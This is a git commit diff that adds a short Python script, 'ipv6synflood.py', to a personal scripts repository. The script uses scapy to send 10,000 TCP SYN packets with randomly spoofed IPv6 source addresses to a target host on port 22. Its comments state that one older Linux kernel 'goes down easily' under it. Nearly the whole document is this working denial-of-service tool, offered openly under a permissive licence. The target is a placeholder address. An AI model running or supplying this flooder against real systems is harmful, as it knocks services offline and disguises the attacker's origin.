From: Sven Hoexter Date: Thu, 28 Jun 2012 21:54:27 +0000 (+0200) Subject: Add my very simple IPv6 syn flood script X-Git-Url: https://git.sven.stormbind.net/?a=commitdiff_plain;h=16039b41115ef413f1371397726aa1f39ee8cc24;p=sven%2Fscripts.git Add my very simple IPv6 syn flood script --- diff --git a/home/ipv6synflood.py b/home/ipv6synflood.py new file mode 100755 index 0000000..5d08f39 --- /dev/null +++ b/home/ipv6synflood.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +very simple IPv6 syn flooder +Copyright (C) 2012 Sven Hoexter + +Notes: +* Linux 2.6.32 aka Debian/Squeeze goes down easily. +* Linux 3.2 aka Debian/Wheezy keeps up well. + + +DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + Version 2, December 2004 + + Copyright (C) 2004 Sam Hocevar + + Everyone is permitted to copy and distribute verbatim or modified + copies of this license document, and changing it is allowed as long + as the name is changed. + + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. You just DO WHAT THE FUCK YOU WANT TO. +""" + +import random +from scapy.all import IPv6,TCP,send + +b = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] +prefix = "2001:" +dstaddr = "2001:DB8::123" +destport = 22 + +for x in range(0,10000): + random.shuffle(b,random.random) + srcaddr= prefix + b[0] + b[15] + b[1] + b[14] + ":" + b[2] + b[13] + b[3] + b[12] + ":" + b[4] + b[11] + b[5] + b[10] + ":" + b[6] + b[9] + b[7] + b[8] + ":" + b[8] + b[0] + b[9] + b[1] + ":" + b[10] + b[2] + b[11] + b[3] + ":" + b[12] + b[13] + b[14] + b[15] + send(IPv6(dst=dstaddr,src=srcaddr)/TCP(dport=destport,flags="S"))